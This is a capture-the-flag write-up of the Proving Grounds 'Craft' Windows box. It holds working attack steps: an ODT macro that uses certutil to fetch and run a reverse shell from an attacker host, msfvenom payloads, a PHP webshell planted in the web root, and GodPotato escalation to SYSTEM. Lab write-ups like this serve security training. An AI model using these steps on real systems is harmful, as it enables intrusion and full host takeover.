# Craft Writeup - Proving Grounds

> Intermediate Windows box running XAMPP, where a LibreOffice macro embedded in an uploaded ODT file gives a shell, a PHP webshell dropped into the Apache web root lands execution as the Apache service account, and GodPotato abuses its SeImpersonatePrivilege for a SYSTEM shell.

- **URL:** https://hackindex.io/writeups/craft
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Windows
- **Tags:** file-upload, webshell, xampp, privilege-escalation, seimpersonateprivilege, token-impersonation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Craft runs a XAMPP stack whose only web feature is an ODT file upload, processed server-side by LibreOffice. A macro bound to the document's open event gives a shell as a low-privileged user. That user can write to the Apache web root, and a PHP webshell run as the Apache service account has `SeImpersonatePrivilege`, which GodPotato abuses for a SYSTEM shell.

## Reconnaissance

### Nmap

Scan all TCP ports.

```bash
sudo nmap -Pn -n -sCV -p- --open $TARGET_IP
# PORT   STATE SERVICE VERSION
# 80/tcp open  http    Apache httpd 2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
```

Only port `80` is open, so the web app is the only path forward. Add the box's vhost name and fuzz directories.

```bash
echo "$TARGET_IP craft.offsec" | sudo tee -a /etc/hosts
# $TARGET_IP craft.offsec
```

```bash
gobuster dir -u http://craft.offsec -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt
# 200  upload.php   # file upload form
# 301  /uploads/    # uploaded file destination
# 301  /assets/
# 301  /css/
# 301  /js/
```

The upload form only accepts **ODT** (OpenDocument Text) files, which this XAMPP install processes with LibreOffice.

## Initial Foothold

### Malicious ODT macro

LibreOffice macros bound to the document's **Open Document** event run automatically when the file is opened, which is exactly what the server does to every upload. Create a Basic macro in LibreOffice Writer that downloads and runs a reverse shell, bind it to the Open Document event, and save the document as ODT.

```vbscript
Sub Main
    Shell("cmd /c certutil -urlcache -split -f http://$ATTACKER_IP/shell.exe C:\Windows\Tasks\shell.exe")
    Shell("cmd /c C:\Windows\Tasks\shell.exe")
End Sub
```

The target is 64-bit, so the payload must be an x64 reverse shell or it silently fails to run.

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o shell.exe
# Payload size: <snip> bytes
# Saved as: shell.exe
```

Host the payload and start a listener.

```bash
python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80 ...
```

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

Upload the malicious ODT through `upload.php`. The server opens it with LibreOffice, the macro fires, `certutil` downloads the payload, and it runs.

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49123
# C:\xampp\htdocs>whoami
# craft\thecybergeek
```

Shell as `thecybergeek`. Check its privileges.

## Privilege Escalation

### Lateral move to the Apache account

Check the current user's privileges.

```powershell
whoami /priv
# SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
# SeCreateGlobalPrivilege       Create global objects          Enabled
# SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

No `SeImpersonatePrivilege`, so a potato attack will not work from this context. Since this is XAMPP, the Apache service account is worth checking instead. The web root at `C:\xampp\htdocs` is writable by `thecybergeek`, so drop a PHP webshell there.

```powershell
echo ^<?php system($_GET['cmd']); ?^> > C:\xampp\htdocs\cmd.php
```

Confirm it executes as the Apache account and check its privileges.

```bash
curl "http://craft.offsec/cmd.php?cmd=whoami"
# craft\apache
```

```bash
curl "http://craft.offsec/cmd.php?cmd=whoami+/priv"
# SeImpersonatePrivilege Impersonate a client after authentication Enabled
```

`apache` has `SeImpersonatePrivilege`. Stage a second reverse shell and GodPotato on the target through the webshell, on a different port from the first shell.

### GodPotato to SYSTEM

Download GodPotato on Kali first.

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o shell2.exe
# Payload size: <snip> bytes
# Saved as: shell2.exe
```

```bash
wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe -O GodPotato.exe
```

```bash
curl "http://craft.offsec/cmd.php?cmd=certutil+-urlcache+-split+-f+http://$ATTACKER_IP/shell2.exe+C:\Windows\Tasks\shell2.exe"
curl "http://craft.offsec/cmd.php?cmd=certutil+-urlcache+-split+-f+http://$ATTACKER_IP/GodPotato.exe+C:\Windows\Tasks\GodPotato.exe"
```

Start a listener and trigger the second shell through the webshell.

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```bash
curl "http://craft.offsec/cmd.php?cmd=C:\Windows\Tasks\shell2.exe"
```

The listener catches a shell as `craft\apache`. Run GodPotato, which abuses `SeImpersonatePrivilege` to impersonate SYSTEM through a coerced DCOM activation.

```powershell
C:\Windows\Tasks\GodPotato.exe -cmd "C:\Windows\System32\cmd.exe /c whoami"
# nt authority\system
```

SYSTEM confirmed through the potato chain.

Related

## References

- [GodPotato](https://github.com/BeichenDream/GodPotato) - SeImpersonatePrivilege abuse tool used to escalate the Apache service account to SYSTEM.